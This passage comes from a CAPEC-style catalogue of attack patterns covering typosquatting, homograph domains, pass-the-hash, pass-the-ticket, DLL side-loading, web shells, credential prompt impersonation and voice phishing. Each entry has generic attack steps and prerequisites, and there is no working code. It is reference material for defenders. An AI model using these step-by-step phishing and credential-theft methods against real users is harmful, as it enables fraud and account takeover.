  1. Impersonate trusted domain: In order to impersonate the trusted domain, the adversary needs to register the TypoSquatted URL.
  2. Techniques
    Register the TypoSquatted domain.

Exploit

  1. Deceive user into visiting domain: Finally, the adversary needs to deceive a user into visiting the TypoSquatted domain.
  2. Techniques
    Execute a phishing attack and send a user an e-mail convincing the user to click on a link leading the user to the TypoSquatted domain.
    Assume that a user will incorrectly type the legitimate URL, leading the user to the TypoSquatted domain.
Low
  • An adversary requires knowledge of popular or high traffic domains, that could be used to deceive potential targets.
Low: Adversaries must be able to register DNS hostnames/URL’s. Draft Medium 3.9
616
SoundSquatting Detailed An adversary registers a domain name that sounds the same as a trusted domain, but has a different spelling. A SoundSquatting attack takes advantage of a user's confusion of the two words to direct Internet traffic to adversary- controlled destinations. SoundSquatting does not require an attack against the trusted domain or complicated reverse engineering. 2015-11-09 01:00:00 Capec: CAPEC-631
Reference_from_capec: REF-491
2022-09-29 02:00:00 2.1
  • Homophone Attack
Other:
  • Other (Depending on the intention of the adversary, a successful SoundSquatting attack can be leveraged to execute more complex attacks such as cross-site scripting or stealing account credentials.)
Social Engineering
  1. An adversary sends an email, impersonating the popular banking website guaranteebanking.com, to a user stating that they have just received a new deposit and to click the given link to confirm the deposit. However, the link the in email is guarantybanking.com instead of guaranteebanking.com, which the user clicks without fully reading the link. The user is directed to the adversary's website, which appears as if it is the legitimate guaranteebanking.com login page. The user thinks they are logging into their account, but have actually just given their guaranteebanking.com credentials to the adversary. The adversary can now use the user's legitimate guaranteebanking.com credentials to log into the user's account and steal any money which may be in the account.See also: SoundSquatting vulnerability allows an adversary to impersonate a trusted domain and leverages a user's confusion between the meaning of two words which are pronounced the same into visiting the malicious website to steal user credentials.

Explore

  1. Determine target website: The adversary first determines which website to impersonate, generally one that is trusted, receives a consistent amount of traffic, and is a homophone.
  2. Techniques
    Research popular or high traffic websites which are also homophones.

Experiment

  1. Impersonate trusted domain: In order to impersonate the trusted domain, the adversary needs to register the SoundSquatted URL.
  2. Techniques
    Register the SoundSquatted domain.

Exploit

  1. Deceive user into visiting domain: Finally, the adversary needs to deceive a user into visiting the SoundSquatted domain.
  2. Techniques
    Execute a phishing attack and send a user an e-mail convincing the user to click on a link leading the user to the SoundSquatted domain.
    Assume that a user will unintentionally use the homophone in the URL, leading the user to the SoundSquatted domain.
Low
  • An adversary requires knowledge of popular or high traffic domains, that could be used to deceive potential targets.
Low: Adversaries must be able to register DNS hostnames/URL’s. Draft Medium 3.9
616
Homograph Attack via Homoglyphs Detailed An adversary registers a domain name containing a homoglyph, leading the registered domain to appear the same as a trusted domain. A homograph attack leverages the fact that different characters among various character sets look the same to the user. Homograph attacks must generally be combined with other attacks, such as phishing attacks, in order to direct Internet traffic to the adversary-controlled destinations. 2015-11-09 01:00:00 Capec: CAPEC-632
Cwe: CWE-1007
2023-01-24 01:00:00 2.1
  • Homoglyph Attack
Other:
  • Other (Depending on the intention of the adversary, a successful Homograph attack can be leveraged to execute more complex attacks such as cross-site scripting or stealing account credentials.)
Social Engineering
  1. An adversary sends an email, impersonating bankofamerica.com to a user stating that they have just received a new deposit and to click the given link to confirm the deposit. However, the link the in email is bankofamerica.com, where the 'a' and 'e' characters are Cyrillic and not ASCII, instead of bankofamerica.com (all ASCII), which the user clicks after carefully reading the URL, making sure that typosquatting and soundsquatting attacks are not being leveraged against them. The user is directed to the adversary's website, which appears as if it is the legitimate bankofamerica.com login page. The user thinks they are logging into their account, but have actually just given their bankofamerica.com credentials to the adversary. The adversary can now use the user's legitimate bankofamerica.com credentials to log into the user's account and steal any money which may be in the account. Homograph vulnerability allows an adversary to impersonate a trusted domain by leveraging homoglyphs and tricking a user into visiting the malicious website to steal user credentials.See also: CVE-2012-0584 CVE-2009-0652 CVE-2005-0233 CVE-2005-0234 CVE-2005-0235 CVE-2005-0236 CVE-2005-0237 CVE-2005-0238

Explore

  1. Determine target website: The adversary first determines which website to impersonate, generally one that is trusted and receives a consistent amount of traffic.
  2. Techniques
    Research popular or high traffic websites.

Experiment

  1. Impersonate trusted domain: In order to impersonate the trusted domain, the adversary needs to register the URL containing the homoglpyh character(s).
  2. Techniques
    Register the Homograph domain.

Exploit

  1. Deceive user into visiting domain: Finally, the adversary needs to deceive a user into visiting the Homograph domain.
  2. Techniques
    Execute a phishing attack and send a user an e-mail convincing the to click on a link leading the user to the malicious domain.
Low
  • An adversary requires knowledge of popular or high traffic domains, that could be used to deceive potential targets.
Low: Adversaries must be able to register DNS hostnames/URL’s. Draft Medium 3.9
616
Token Impersonation Detailed An adversary exploits a weakness in authentication to create an access token (or equivalent) that impersonates a different entity, and then associates a process/thread to that that impersonated token. This action causes a downstream user to make a decision or take action that is based on the assumed identity, and not the response that blocks the adversary. 2018-04-12 02:00:00 Capec: CAPEC-633
Cwe: CWE-287
Cwe: CWE-1270
Attack: T1134
2021-06-24 02:00:00 2.1 Integrity:
  • Alter Execution Logic (By faking the source of data or services, an adversary can cause a target to make incorrect decisions about how to proceed.)
  • Gain Privileges (By impersonating identities that have an increased level of access, an adversary gain privilege that they many not have otherwise had.)
  • Hide Activities (Faking the source of data or services can be used to create a false trail in logs as the target will associated any actions with the impersonated identity instead of the adversary.)
Software
Hardware
None None
  • This pattern of attack is only applicable when a downstream user leverages tokens to verify identity, and then takes action based on that identity.
Stable Medium 3.9
194
Probe Audio and Video Peripherals Detailed The adversary exploits the target system's audio and video functionalities through malware or scheduled tasks. The goal is to capture sensitive information about the target for financial, personal, political, or other gains which is accomplished by collecting communication data between two parties via the use of peripheral devices (e.g. microphones and webcams) or applications with audio and video capabilities (e.g. Skype) on a system. 2018-07-31 02:00:00 Capec: CAPEC-634
Cwe: CWE-267
Attack: T1123
Attack: T1125
Reference_from_capec: REF-653
Reference_from_capec: REF-654
2021-06-24 02:00:00 2.1 Confidentiality:
  • Read Data
Communications
Software
Software
  1. An adversary can capture audio and video, and transmit the recordings to a C2 server or a similar capability.
  2. An adversary can capture and record from audio peripherals in a vehicle via a Car Whisperer attack. If an adversary is within close proximity to a vehicle with Bluetooth capabilities, they may attempt to connect to the hands-free system when it is in pairing mode. With successful authentication, if an authentication system is present at all, an adversary may be able to play music/voice recordings, as well begin a recording and capture conversations happening inside the vehicle. Successful authentication relies on the pairing security key being set to a default value, or by brute force (which may be less practical in an outside environment) Depending on the sensitivity of the information being discussed, this scenario can be extremely compromising.
  3. An adversary may also use a technique called Bluebugging, which is similar to Bluesnarfing but requires the adversary to be between 10-15 meters of the target device. Bluebugging creates a backdoor for an attacker to listen/record phone calls, forward calls, send SMS and retrieve the phonebook.
None Low
  • Knowledge of the target device's or application’s vulnerabilities that can be capitalized on with malicious code. The adversary must be able to place the malicious code on the target device.
High: To deploy a hidden process or malware on the system to automatically collect audio and video data. Stable High 3.9
Collect Data from Clipboard Detailed The adversary exploits an application that allows for the copying of sensitive data or information by collecting information copied to the clipboard. Data copied to the clipboard can be accessed by other applications, such as malware built to exfiltrate or log clipboard contents on a periodic basis. In this way, the adversary aims to garner information to which they are unauthorized. 2018-07-31 02:00:00 Capec: CAPEC-637
Cwe: CWE-267
Attack: T1115
2021-10-21 02:00:00 2.1 Confidentiality:
  • Read Data
Software

Explore

  1. Find an application that allows copying sensititve data to clipboad: An adversary first needs to find an application that allows copying and pasting of sensitive information. This could be an application that prints out temporary passwords to the screen, private email addresses, or any other sensitive information or data

Experiment

  1. Target users of the application: An adversary will target users of the application in order to obtain the information in their clipboard on a periodic basic
  2. Techniques
    Install malware on a user's system designed to log clipboard contents periodically
    Get the user to click on a malicious link that will bring them to an application to log the contents of the clipboard

Exploit

  1. Follow-up attack: Use any sensitive information found to carry out a follow-up attack
Low
  • The adversary must have a means (i.e., a pre-installed tool or background process) by which to collect data from the clipboard and store it. That is, when the target copies data to the clipboard (e.g., to paste into another application), the adversary needs some means of capturing that data in a third location.
High: To deploy a hidden process or malware on the system to automatically collect clipboard data. Stable Low 3.9
150
Altered Component Firmware Detailed An adversary exploits systems features and/or improperly protected firmware of hardware components, such as Hard Disk Drives (HDD), with the goal of executing malicious code from within the component's Master Boot Record (MBR). Conducting this type of attack entails the adversary infecting the target with firmware altering malware, using known tools, and a payload. Once this malware is executed, the MBR is modified to include instructions to execute the payload at desired intervals and when the system is booted up. A successful attack will obtain persistence within the victim system even if the operating system is reinstalled and/or if the component is formatted or has its data erased. 2018-07-31 02:00:00 Capec: CAPEC-638
Attack: T1542.002
Reference_from_capec: REF-664
Reference_from_capec: REF-665
Reference_from_capec: REF-666
2021-06-24 02:00:00 2.1 Authorization:
  • Gain Privileges
  • Execute Unauthorized Commands
  • Bypass Protection Mechanism
  • Hide Activities
Access Control:
  • Read Data
  • Modify Data
Authentication:
  • Gain Privileges
  • Execute Unauthorized Commands
  • Bypass Protection Mechanism
  • Hide Activities
Confidentiality:
  • Read Data
  • Modify Data
Software
Hardware
  1. In 2014, the Equation group was observed levering known malware tools to conduct component firmware alteration attacks against hard drives. In total, 12 HDD categories were shown to be vulnerable from manufacturers such as Western Digital, HGST, Samsung, and Seagate. Because of their complexity, only a few victims were targeted by these attacks. [REF-664]

Explore

  1. Select Target: The adversary searches for a suitable target to attack, such as government and/or private industry organizations.
  2. Techniques
    Conduct reconnaissance to determine potential targets to exploit.
  3. Identify Components: After selecting a target, the adversary determines whether a vulnerable component, such as a specific make and model of a HDD, is contained within the target system.
  4. Techniques
    [Remote Access Vector] The adversary gains remote access to the target, typically via additional malware, and explores the system to determine hardware components that are being leveraged.
    [Physical Access Vector] The adversary intercepts components in transit and determines if the component is vulnerable to attack.

Experiment

  1. Optional: Create Payload: If not using an already existing payload, the adversary creates their own to be executed at defined intervals and upon system boot processes. This payload may then be tested on the target system or a test system to confirm its functionality.

Exploit

  1. Insert Firmware Altering Malware: Once a vulnerable component has been identified, the adversary leverages known malware tools to infect the component's firmware and drop the payload within the component's MBR. This allows the adversary to maintain persistence on the target and execute the payload without being detected.
  2. Techniques
    The adversary inserts the firmware altering malware on the target component, via the use of known malware tools.
    [Physical Access Vector] The adversary then sends the component to its original intended destination, where it will be installed onto a victim system.
Low
  • Advanced knowledge about the target component's firmware
  • Advanced knowledge about Master Boot Records (MBR)
  • Advanced knowledge about tools used to insert firmware altering malware.
  • Advanced knowledge about component shipments to the target organization.
  • Manufacturer source code for hardware components.
  • Malware tools used to insert malware and payload onto target component.
  • Either remote or physical access to the target component.
Low: Ability to leverage known malware tools to infect target system and insert firmware altering malware/payload High: Ability to intercept components in transit. Medium: Ability to create malicious payload to be executed from MBR. Stable Very High 3.9
452
Probe System Files Detailed An adversary obtains unauthorized information due to improperly protected files. If an application stores sensitive information in a file that is not protected by proper access control, then an adversary can access the file and search for sensitive information. 2018-05-04 02:00:00 Capec: CAPEC-639
Cwe: CWE-552
Attack: T1039
Attack: T1552.001
Attack: T1552.003
Attack: T1552.004
Attack: T1552.006
2022-09-29 02:00:00 2.1 Confidentiality:
  • Read Data
Software
  1. Adversaries may search local file systems and remote file shares for files containing passwords. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.
  2. Adversaries may search network shares on computers they have compromised to find files of interest.
None None
  • An adversary has access to the file system of a system.
Stable Medium 3.9
545
Inclusion of Code in Existing Process Detailed The adversary takes advantage of a bug in an application failing to verify the integrity of the running process to execute arbitrary code in the address space of a separate live process. The adversary could use running code in the context of another process to try to access process's memory, system/network resources, etc. The goal of this attack is to evade detection defenses and escalate privileges by masking the malicious code under an existing legitimate process. Examples of approaches include but not limited to: dynamic-link library (DLL) injection, portable executable injection, thread execution hijacking, ptrace system calls, VDSO hijacking, function hooking, reflective code loading, and more. 2018-07-31 02:00:00 Capec: CAPEC-640
Cwe: CWE-114
Cwe: CWE-829
Attack: T1505.005
Attack: T1574.006
Attack: T1574.013
Attack: T1620
2023-01-24 01:00:00 2.1 Integrity:
  • Execute Unauthorized Commands
  • Read Data
Confidentiality:
  • Execute Unauthorized Commands
  • Read Data
Software

Explore

  1. Determine target process: The adversary determines a process with sufficient privileges that they wish to include code into.
  2. Techniques
    On Windows, use the process explorer's security tab to see if a process is running with administror privileges.
    On Linux, use the ps command to view running processes and pipe the output to a search for a particular user, or the root user.

Experiment

  1. Attempt to include simple code with known output: The adversary attempts to include very simple code into the existing process to determine if the code inclusion worked. The code will differ based on the approach used to include code into an existing process.

Exploit

  1. Include arbitrary code into existing process: Once an adversary has determined that including code into the existing process is possible, they will include code for a targeted purpose, such as accessing that process's memory.
Low
  • The targeted application fails to verify the integrity of the running process that allows an adversary to execute arbitrary code.
High: Knowledge of how to load malicious code into the memory space of a running process, as well as the ability to have the running process execute this code. For example, with DLL injection, the adversary must know how to load a DLL into the memory space of another running process, and cause this process to execute the code inside of the DLL. Stable High 3.9
251
DLL Side-Loading Detailed An adversary places a malicious version of a Dynamic-Link Library (DLL) in the Windows Side-by-Side (WinSxS) directory to trick the operating system into loading this malicious DLL instead of a legitimate DLL. Programs specify the location of the DLLs to load via the use of WinSxS manifests or DLL redirection and if they aren't used then Windows searches in a predefined set of directories to locate the file. If the applications improperly specify a required DLL or WinSxS manifests aren't explicit about the characteristics of the DLL to be loaded, they can be vulnerable to side-loading. 2018-07-31 02:00:00 Capec: CAPEC-641
Cwe: CWE-706
Attack: T1574.002
Reference_from_capec: REF-501
2020-07-30 02:00:00 2.1 Integrity:
  • Execute Unauthorized Commands
  • Bypass Protection Mechanism
Software
None Low
  • The target must fail to verify the integrity of the DLL before using them.
High: Trick the operating system in loading a malicious DLL instead of a legitimate DLL. Stable High 3.9
159
Replace Binaries Detailed Adversaries know that certain binaries will be regularly executed as part of normal processing. If these binaries are not protected with the appropriate file system permissions, it could be possible to replace them with malware. This malware might be executed at higher system permission levels. A variation of this pattern is to discover self-extracting installation packages that unpack binaries to directories with weak file permissions which it does not clean up appropriately. These binaries can be replaced by malware, which can then be executed. 2018-05-31 02:00:00 Capec: CAPEC-642
Cwe: CWE-732
Attack: T1505.005
Attack: T1554
Attack: T1574.005
Owasp Attacks: Binary planting
2022-09-29 02:00:00 2.1 Software
  1. The installer for a previous version of Firefox would use a DLL maliciously placed in the default download directory instead of the existing DLL located elsewhere, probably due to DLL hijacking. This DLL would be run with administrator privileges if the installer has those privileges.
  2. By default, the Windows screensaver application SCRNSAVE.exe leverages the scrnsave.scr Portable Executable (PE) file in C:\Windows\system32\\. This value is set in the registry at HKEY_CURRENT_USER\Control Panel\Desktop, which can be modified by an adversary to instead point to a malicious program. This program would then run any time the SCRNSAVE.exe program is activated and with administrator privileges. An adversary may additionally modify other registry values within the same location to set the SCRNSAVE.exe program to run more frequently.
None None
  • The attacker must be able to place the malicious binary on the target machine.
Draft High 3.9
17
Identify Shared Files/Directories on System Detailed An adversary discovers connections between systems by exploiting the target system's standard practice of revealing them in searchable, common areas. Through the identification of shared folders/drives between systems, the adversary may further their goals of locating and collecting sensitive information/files, or map potential routes for lateral movement within the network. 2018-07-31 02:00:00 Capec: CAPEC-643
Cwe: CWE-267
Cwe: CWE-200
Attack: T1135
2021-06-24 02:00:00 2.1 Confidentiality:
  • Read Data (The adversary is potentially able to identify the location of sensitive information or lateral pathways through the network.)
Software
None Medium
  • The adversary must have obtained logical access to the system by some means (e.g., via obtained credentials or planting malware on the system).
  • None: No specialized resources are required to execute this type of attack.
Low: Once the adversary has logical access (which can potentially require high knowledge and skill level), the adversary needs only the capability and facility to navigate the system through the OS graphical user interface or the command line. The adversary, or their malware, can simply employ a set of commands that search for shared drives on the system (e.g., net view \\remote system or net share). Draft Medium 3.9
309
Use of Captured Hashes (Pass The Hash) Detailed An adversary obtains (i.e. steals or purchases) legitimate Windows domain credential hash values to access systems within the domain that leverage the Lan Man (LM) and/or NT Lan Man (NTLM) authentication protocols. When authenticating via LM or NTLM, an authenticating account's plaintext credentials are not required by the protocols for successful authentication. Instead, the hashed credentials are used to determine if an authentication attempt is valid. If an adversary can obtain an account's hashed credentials, the hash values can then be passed to a system or service to authenticate, without needing to brute-force the hashes to obtain their cleartext values. Successful Pass The Hash attacks result in the adversary fully authenticating as the targeted account, which can further allow the adversary to laterally move within the network, impersonate a legitimate user, and/or download/install malware to systems within the domain. This technique can be performed against any operating system that leverages the LM or NTLM protocols even if the operating system is not Windows-based, since these systems/accounts may still authenticate to a Windows domain. 2018-07-31 02:00:00 Capec: CAPEC-644
Cwe: CWE-522
Cwe: CWE-836
Cwe: CWE-308
Cwe: CWE-294
Cwe: CWE-308
Attack: T1550.002
Reference_from_capec: REF-575
Reference_from_capec: REF-580
Reference_from_capec: REF-581
Reference_from_capec: REF-582
Reference_from_capec: REF-583
2022-09-29 02:00:00 2.1 Integrity:
  • Modify Data
Authorization:
  • Read Data
Access Control:
  • Gain Privileges
Authentication:
  • Gain Privileges
Confidentiality:
  • Gain Privileges
  • Read Data
Software
  1. Adversaries exploited the Zoom video conferencing application during the 2020 COVID-19 pandemic to exfiltrate Windows domain credential hash value pairs from a target system. The attack entailed sending Universal Naming Convention (UNC) paths within the Zoom chat window of an unprotected Zoom call. If the victim clicked on the link, their Windows usernames and the corresponding Net- NTLM-v2 hashes were sent to the address contained in the link. The adversary was then able to infiltrate and laterally move within the Windows domain by passing the acquired credentials to shared network resources. This further provided adversaries with access to Outlook servers and network storage devices. [REF-575]
  2. Operation Soft Cell, which has been underway since at least 2012, leveraged a modified Mimikatz that dumped NTLM hashes. The acquired hashes were then used to authenticate to other systems within the network via Pass The Hash attacks. [REF-580]

Explore

  1. Acquire known Windows credential hash value pairs: The adversary must obtain known Windows credential hash value pairs of accounts that exist on the domain.
  2. Techniques
    An adversary purchases breached Windows credential hash value pairs from the dark web.
    An adversary conducts a sniffing attack to steal Windows credential hash value pairs as they are transmitted.
    An adversary gains access to a Windows domain system/files and exfiltrates Windows credential hash value pairs.
    An adversary examines outward-facing configuration and properties files to discover hardcoded Windows credential hash value pairs.

Experiment

  1. Attempt domain authentication: Try each Windows credential hash value pair until the target grants access.
  2. Techniques
    Manually or automatically enter each Windows credential hash value pair through the target's interface.

Exploit

  1. Impersonate: An adversary can use successful experiments or authentications to impersonate an authorized user or system, or to laterally move within the domain
  2. Spoofing: Malicious data can be injected into the target system or into other systems on the domain. The adversary can also pose as a legitimate domain user to perform social engineering attacks.
  3. Data Exfiltration: The adversary can obtain sensitive data contained within domain systems or applications.
Medium
  • The system/application is connected to the Windows domain.
  • The system/application leverages the Lan Man (LM) and/or NT Lan Man (NTLM) authentication protocols.
  • The adversary possesses known Windows credential hash value pairs that exist on the target domain.
  • A list of known Window credential hash value pairs for the targeted domain.
Low: Once an adversary obtains a known Windows credential hash value pair, leveraging it is trivial. Stable High 3.9
653
Use of Captured Tickets (Pass The Ticket) Detailed An adversary uses stolen Kerberos tickets to access systems/resources that leverage the Kerberos authentication protocol. The Kerberos authentication protocol centers around a ticketing system which is used to request/grant access to services and to then access the requested services. An adversary can obtain any one of these tickets (e.g. Service Ticket, Ticket Granting Ticket, Silver Ticket, or Golden Ticket) to authenticate to a system/resource without needing the account's credentials. Depending on the ticket obtained, the adversary may be able to access a particular resource or generate TGTs for any account within an Active Directory Domain. 2018-07-31 02:00:00 Capec: CAPEC-645
Cwe: CWE-522
Cwe: CWE-294
Cwe: CWE-308
Attack: T1550.003
Reference_from_capec: REF-584
2020-07-30 02:00:00 2.1 Integrity:
  • Gain Privileges
Software
  1. Bronze Butler (also known as Tick), has been shown to leverage forged Kerberos Ticket Granting Tickets (TGTs) and Ticket Granting Service (TGS) tickets to maintain administrative access on a number of systems. [REF-584]
None Low
  • The adversary needs physical access to the victim system.
  • The use of a third-party credential harvesting tool.
Low: Determine if Kerberos authentication is used on the server. High: The adversary uses a third-party tool to obtain the necessary tickets to execute the attack. Stable High 3.9
652
Collect Data from Registries Detailed An adversary exploits a weakness in authorization to gather system-specific data and sensitive information within a registry (e.g., Windows Registry, Mac plist). These contain information about the system configuration, software, operating system, and security. The adversary can leverage information gathered in order to carry out further attacks. 2018-05-15 02:00:00 Capec: CAPEC-647
Cwe: CWE-285
Attack: T1005
Attack: T1012
Attack: T1552.002
2022-09-29 02:00:00 2.1 Confidentiality:
  • Read Data (The adversary is able to read sensitive information about the system in the registry.)
Software

Explore

  1. Gain logical access to system: An adversary must first gain logical access to the system it wants to gather registry information from,
  2. Techniques
    Obtain user account credentials and access the system
    Plant malware on the system that will give remote logical access to the adversary

Experiment

  1. Determine if the permissions are correct: Once logical access is gained, an adversary will determine if they have the proper permissions, or are authorized, to view registry information. If they do not, they will need to escalate privileges on the system through other means
  2. Peruse registry for information: Once an adversary has access to a registry, they will gather all system-specific data and sensitive information that they deem useful.

Exploit

  1. Follow-up attack: Use any information or weaknesses found to carry out a follow-up attack
Medium
  • The adversary must have obtained logical access to the system by some means (e.g., via obtained credentials or planting malware on the system).
  • The adversary must have capability to navigate the operating system to peruse the registry.
  • None: No specialized resources are required to execute this type of attack.
Low: Once the adversary has logical access (which can potentially require high knowledge and skill level), the adversary needs only the capability and facility to navigate the system through the OS graphical user interface or the command line. Draft Medium 3.9
150
Collect Data from Screen Capture Detailed An adversary gathers sensitive information by exploiting the system's screen capture functionality. Through screenshots, the adversary aims to see what happens on the screen over the course of an operation. The adversary can leverage information gathered in order to carry out further attacks. 2018-07-31 02:00:00 Capec: CAPEC-648
Cwe: CWE-267
Attack: T1113
Attack: T1513
2022-09-29 02:00:00 2.1 Confidentiality:
  • Read Data (The adversary is able to capture potentially sensitive information and processes as they appear on the screen.)
Software
None Medium
  • The adversary must have obtained logical access to the system by some means (e.g., via obtained credentials or planting malware on the system).
  • None: No specialized resources are required to execute this type of attack.
Low: Once the adversary has logical access (which can potentially require high knowledge and skill level), the adversary needs only to leverage the relevant command for screen capture. Draft Medium 3.9
150
Adding a Space to a File Extension Detailed An adversary adds a space character to the end of a file extension and takes advantage of an application that does not properly neutralize trailing special elements in file names. This extra space, which can be difficult for a user to notice, affects which default application is used to operate on the file and can be leveraged by the adversary to control execution. 2018-05-31 02:00:00 Capec: CAPEC-649
Cwe: CWE-46
Attack: T1036.006
2020-07-30 02:00:00 2.1 Integrity:
  • Execute Unauthorized Commands
Availability:
  • Execute Unauthorized Commands
Confidentiality:
  • Execute Unauthorized Commands
Software
None Low
  • The use of the file must be controlled by the file extension.
Draft Medium 3.9
635
Upload a Web Shell to a Web Server Detailed By exploiting insufficient permissions, it is possible to upload a web shell to a web server in such a way that it can be executed remotely. This shell can have various capabilities, thereby acting as a "gateway" to the underlying web server. The shell might execute at the higher permission level of the web server, providing the ability the execute malicious code at elevated levels. 2018-05-31 02:00:00 Capec: CAPEC-650
Cwe: CWE-287
Cwe: CWE-553
Attack: T1505.003
2020-12-17 01:00:00 2.1 Integrity:
  • Execute Unauthorized Commands
Availability:
  • Execute Unauthorized Commands
Authorization:
  • Gain Privileges
Access Control:
  • Gain Privileges
Confidentiality:
  • Read Data
  • Gain Privileges
  • Execute Unauthorized Commands
Software
None None
  • The web server is susceptible to one of the various web application exploits that allows for uploading a shell file.
Draft High 3.9
17
Credential Prompt Impersonation Detailed An adversary, through a previously installed malicious application, impersonates a credential prompt in an attempt to steal a user's credentials. The adversary may monitor the task list maintained by the operating system and wait for a specific legitimate credential prompt to become active. Once the prompt is detected, the adversary launches a new credential prompt in the foreground that mimics the user interface of the legitimate credential prompt. At this point, the user thinks that they are interacting with the legitimate credential prompt, but instead they are interacting with the malicious credential prompt. A second approach involves the adversary impersonating an unexpected credential prompt, but one that may often be spawned by legitimate background processes. For example, an adversary may randomly impersonate a system credential prompt, implying that a background process or commonly used application (e.g., email reader) requires authentication for some purpose. The user, believing they are interacting with a legitimate credential prompt, enters their credentials which the adversary then leverages for nefarious purposes. The ultimate goal of this attack is to obtain sensitive information (e.g., credentials) from the user. 2020-07-30 02:00:00 Capec: CAPEC-654
Cwe: CWE-1021
Attack: T1056
Attack: T1548.004
2022-09-29 02:00:00 2.1 Access Control:
  • Gain Privileges
Authentication:
  • Gain Privileges
Software
  1. An adversary monitors the system task list for Microsoft Outlook in an attempt to determine when the application may prompt the user to enter their credentials to view encrypted email. Once the task is executed, the adversary impersonates the credential prompt to obtain the user's Microsoft Outlook encryption credentials. These credentials can then be leveraged by the adversary to read a user's encrypted email.
  2. An adversary randomly prompts a user to enter their system credentials, tricking the user into believing that a background process requires the credentials to function. The adversary can then use these gleaned credentials to execute additional attacks or obtain data.

Explore

  1. Determine suitable tasks to exploit: Determine what tasks exist on the target system that may result in a user providing their credentials.
  2. Techniques
    Determine what tasks prompt a user for their credentials.

Exploit

  1. Impersonate Task: Impersonate a legitimate task, either expected or unexpected, in an attempt to gain user credentials.
  2. Techniques
    Prompt a user for their credentials, while making the user believe the credential request is legitimate.
Medium
  • The adversary must already have access to the target system via some means.
  • A legitimate task must exist that an adversary can impersonate to glean credentials.
  • Malware or some other means to initially comprise the target system.
  • Additional malware to impersonate a legitimate credential prompt.
Low: Once an adversary has gained access to the target system, impersonating a credential prompt is not difficult. Stable High 3.9
504
Avoid Security Tool Identification by Adding Data Detailed An adversary adds data to a file to increase the file size beyond what security tools are capable of handling in an attempt to mask their actions. In addition to this, adding data to a file also changes the file's hash, frustrating security tools that look for known bad files by their hash. 2020-07-30 02:00:00 Capec: CAPEC-655
Attack: T1027.001
2021-06-24 02:00:00 2.1 Integrity:
  • Modify Data
Accountability:
  • Hide Activities
  • Bypass Protection Mechanism
Software
  1. Adding data to change the checksum of a file and can be used to avoid hash- based denylists and static anti-virus signatures.
None High Draft High 3.9
572
Voice Phishing Detailed An adversary targets users with a phishing attack for the purpose of soliciting account passwords or sensitive information from the user. Voice Phishing is a variation of the Phishing social engineering technique where the attack is initiated via a voice call, rather than email. The user is enticed to provide sensitive information by the adversary, who masquerades as a legitimate employee of the alleged organization. Voice Phishing attacks deviate from standard Phishing attacks, in that a user doesn't typically interact with a compromised website to provide sensitive information and instead provides this information verbally. Voice Phishing attacks can also be initiated by either the adversary in the form of a "cold call" or by the victim if calling an illegitimate telephone number. 2020-12-17 01:00:00 Capec: CAPEC-656
Reference_from_capec: REF-592
Reference_from_capec: REF-594
Reference_from_capec: REF-595
2020-12-17 01:00:00 2.1
  • Vishing
  • VoIP Phishing
Integrity:
  • Modify Data
Authorization:
  • Gain Privileges
Access Control:
  • Gain Privileges
Confidentiality:
  • Gain Privileges
  • Read Data
Social Engineering
  1. The target receives an email or text message stating that their Apple ID has been disabled due to suspicious activity and that the included link includes instructions on how to unlock their Apple account. The link in the text message looks legitimate and once the link is clicked, the user is redirected to a legitimate-looking webpage that prompts the user to call a specified number to initiate the unlock process. The target initiates the phone call and provides their credentials or other sensitive information to the individual they assume works for Apple. Now that the adversary possess this data, it can be used to log into the account to obtain other sensitive data, such as Apple Pay information.
  2. An adversary calls the target and claims to work for their bank. The adversary informs the target that their bank account has been frozen, due to potential fraudulent spending, and requires authentication in order to re-enable the account. The target, believing the caller is a legitimate bank employee, provides their bank account login credentials to confirm they are the authorized owner of the account. The adversary then confirms this authentication and claims that the account has been unlocked. Once the adversary has obtained these credentials, money can be transferred from the victim's account to an account controlled by the adversary.

Explore

  1. Obtain domain name and certificate to spoof legitimate site: This optional step can be used to help the adversary impersonate the legitimate organization more convincingly. The adversary can use homograph or similar attacks to convince users that they are using the legitimate website. If the adversary leverages cold-calling for this attack, this step is skipped.
  2. Techniques
    Optionally obtain a domain name that visually looks similar to the legitimate organization's domain name. An example is www.paypaI.com vs. www.paypal.com (the first one contains a capital i, instead of a lower case L)
    Optionally obtain a legitimate SSL certificate for the new domain name.
  3. Explore legitimate website and create duplicate: An adversary optionally creates a website (optionally at a URL that looks similar to the original URL) that closely resembles the organization's website that they are trying to impersonate. That website will contain a telephone number for the victim to call to assist them with their issue and initiate the attack. If the adversary leverages cold-calling for this attack, this step is skipped.
  4. Techniques
    Use spidering software to get copy of web pages on legitimate site.
    Manually save copies of required web pages from legitimate site.
    Create new web pages that have the legitimate site's look and feel, but contain completely new content.

Exploit

  1. Convince user to provide sensitive information to the adversary.: An adversary "cold calls" the victim or receives a call from the victim via the malicious site and provides a call-to-action, in order to persuade the user into providing sensitive details to the adversary (e.g. login credentials, bank account information, etc.). The key is to get the victim to believe that the individual they are talking to is from a legitimate entity with which the victim does business and that the call is occurring for legitimate reasons. A call-to-action will usually need to sound legitimate and urgent enough to prompt action from the user.
  2. Techniques
    Call the user a from a spoofed legitimate-looking telephone number.
  3. Use stolen information: Once the adversary obtains the sensitive information, this information can be leveraged to log into the victim's bank account and transfer money to an account of their choice, or to make fraudulent purchases with stolen credit card information.
  4. Techniques
    Login to the legitimate site using another the victim's supplied credentials
High
  • An adversary needs phone numbers to initiate contact with the victim, in addition to a legitimate-looking telephone number to call the victim from.
  • An adversary needs to correctly guess the entity with which the victim does business and impersonate it. Most of the time phishers just use the most popular banks/services and send out their "hooks" to many potential victims.
  • An adversary needs to have a sufficiently compelling call to action to prompt the user to take action.
  • If passively conducting this attack via a spoofed website, replicated website needs to look extremely similar to the original website and the URL used to get to that website needs to look like the real URL of the said business entity.
  • Legitimate-looking telephone number(s) to initiate calls with victims
Medium: Basic knowledge about websites: obtaining them, designing and implementing them, etc. Stable High 3.9
98
Malicious Automated Software Update via Spoofing Detailed An attackers uses identify or content spoofing to trick a client into performing an automated software update from a malicious source. A malicious automated software update that leverages spoofing can include content or identity spoofing as well as protocol spoofing. Content or identity spoofing attacks can trigger updates in software by embedding scripted mechanisms within a malicious web page, which masquerades as a legitimate update source. Scripting mechanisms communicate with software components and trigger updates from locations specified by the attackers' server. The result is the client believing there is a legitimate software update available but instead downloading a malicious update from the attacker. 2020-12-17 01:00:00 Capec: CAPEC-657
Cwe: CWE-494
Attack: T1072
2022-09-29 02:00:00 2.1 Availability:
  • Execute Unauthorized Commands
Access Control:
  • Execute Unauthorized Commands
